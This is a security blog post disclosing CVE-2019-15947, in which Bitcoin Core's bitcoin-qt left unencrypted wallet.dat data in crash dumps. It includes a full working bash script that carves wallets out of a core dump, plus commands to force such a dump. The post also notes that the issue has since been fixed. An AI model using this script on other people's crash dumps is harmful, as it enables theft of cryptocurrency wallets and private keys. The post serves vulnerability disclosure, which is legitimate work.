Home CVE-2019-15947 Bitcoin Core bitcoin-qt crash dumps contain wallets
Post
Cancel

CVE-2019-15947 Bitcoin Core bitcoin-qt crash dumps contain wallets

Wallet

What is stored in crash dumps?

The basic idea behind a crash dump is on abnormal program failure (a fault, or kill signal) the operating system will sometimes (depending on settings) dump core of that program so that developers can employ a debugger like gdb on the program and find out what went wrong. This is usually great, it takes a snapshot of the current memory map, the program in memory, stack, heap, as well as a stack trace of what the registers were set to at the time of the crash.

If you want to know more about gdb you can read my article on stack based buffer overflow primitives, which gives a breif introduction to gdb.

So why is this important?

You probably realized by now that if bitcoin-qt is loading the wallet.dat information into memory to be used by the program, does anything stop us from ripping the wallet.dat straight out of a crash dump? Nope, the only issue that presents to us is that sometimes a wallet.dat file is encrypted, which means it will also be encrypted while stored in memory. This means that bitcoin-qt may have the keys stored in memory as well so it can access the data within the wallet.dat, but I haven’t honestly checked. This was designed as a simple demo that rips unencrypted wallets out of the core dump (I imagine that the encryption employed would make ripping those much more involved).

The Code

So I ended up taking the length of most wallet.dat files and using that as my CLEN variable, and using grep to get the offset of the wallet within the crash dump, then used xxd to reconstruct that part of the file.

You can test it by running pkill -11 bitcoin-qt then using coredumpctl to pull the dump.

#!/bin/bash
#
# ./makeitrain.sh bitcoin-qt.crashdump.core
#   __ _  _  __   ___  __  ____ ____
#  /  ( \/ )/ _\ / __)/ _\/ ___(_  )
# (  O )  (/    ( (_ /    \___ \ )(
#  \__(_/\_\_/\_/\___\_/\_(____/(__)
#
# Donations:
# btc: 3FNsGDQYUkjrfyHntPu8xKhz71wTsF7JJu
#
# I likeeee... bigggg butts and I cannot lie...
# Tested on Bitcoin Core version v0.18.0 (64-bit)
#
# A utility to recover a bitcoin wallet.dat
# from coredumps. (memory dumps)
# PLEASE back up your wallet.dat first!
# No telling if importing one of these recovered
# wallets could cause futher data courruption!
#
# I claim no responsibity for the use of this code!
# 
# By oxagast / Marshall Whittaker
# Notes:
# This was tested on linux x86_64 crash dumps.
# When loading the recovered files, you may
# have to try to load it more than once.
# You'll probably get an error about missing
# address book information.
# Adjusting the CLEN variable (wallet size in
# characters) may help if the wallet is not
# recovered.
if [ "$#" -ne 1 ]; then
  echo "You must enter the core dump file as the only argument."
  exit 1;
fi
COREFN=$1;
CLEN=98304;

echo "Attempting to recover wallet.dat from $COREFN";
echo "Using wallet length: $CLEN characters... (adjusting CLEN may help if wallet is not recovered)";

COUNT=0;
if test -f "$COREFN"; then
  echo "Grepping for magic numbers...";
  xxd $COREFN | grep "6231 0500" > walletoffsets;
  if [ `cat walletoffsets | wc -l` -eq 0 ]; then
    echo "Cannot recover from this file.";
    echo "Sorry!";
    rm walletoffsets;
    exit 1;
  fi
  while read START; do
    let "COUNT++"
    POFF=$(echo $START | sed -e 's/.*b1//' | head -n $COUNT | tail -n 1 | wc -c)
    POFFH=$(printf "%x\n" $POFF);
    OFFSET=$(echo $START | sed -e 's/:.*//');
    OFFSET="0x$OFFSET";
    POFFH="0x$POFFH";
    echo "Offset: $OFFSET Difference: $POFFH";
    HEXSUBBED=$(printf "0x%X\n" $(($OFFSET - ( $POFFH - 0x03))));
    echo $HEXSUBBED;
    echo "Seeking to $HEXSUBBED...";
    xxd -p -l $CLEN --seek $HEXSUBBED $COREFN > test$COUNT.xxd
    echo "Writing new wallet: test$COUNT.dat...";
    xxd -p -r test$COUNT.xxd > test$COUNT.dat;
    xxd test$COUNT.dat | head -n 1;
  done < walletoffsets;
  echo "Removing temporary files";
  rm test*.xxd;
  rm walletoffsets;
  echo "Now try to load each of the test dat files."
  echo "Sometimes they need to be loaded twice.";
  echo "Ignore any errors about addressbook being courrupted.";
  exit 0;
else
  echo "File doesn't exist...";
fi;

Conclusion

The major implications of this would be if you had a multiuser system and can’t trust the other users not to take a peek at your crash dumps. Another issue would be if crash dumps were uploaded to an offsite server where multiple developers and other users could browse the cores (uploaded from a crash reporting tool), because then someone could start extracting dumped data and recover your wallet.dat. This attack was defeated by the Bitcoin Core team by internally from the program telling the operating system not to dump a core unless specifically told to elsewhere.

Please don’t steal other people’s wallets with this code. You are free however to send me some bitcoin if you happen to recover your own wallet using this!

Thanks for reading!

I have been struggling to keep this site going! Servers, domains, and widget feeds cost money!
I work a day job, but work hard to bring people information security related topics.
You can donate via Bitcoin: 3Ht1soLAdcBXrxbZLDJ53vry819E3rw49d
Thank you!

This post is licensed under CC BY 4.0 by the author.

Fuzzing network services with Fuzzotron and Radamsa modified pcap testcases

Site wide release of my semi-private exploit archive

Comments powered by Disqus.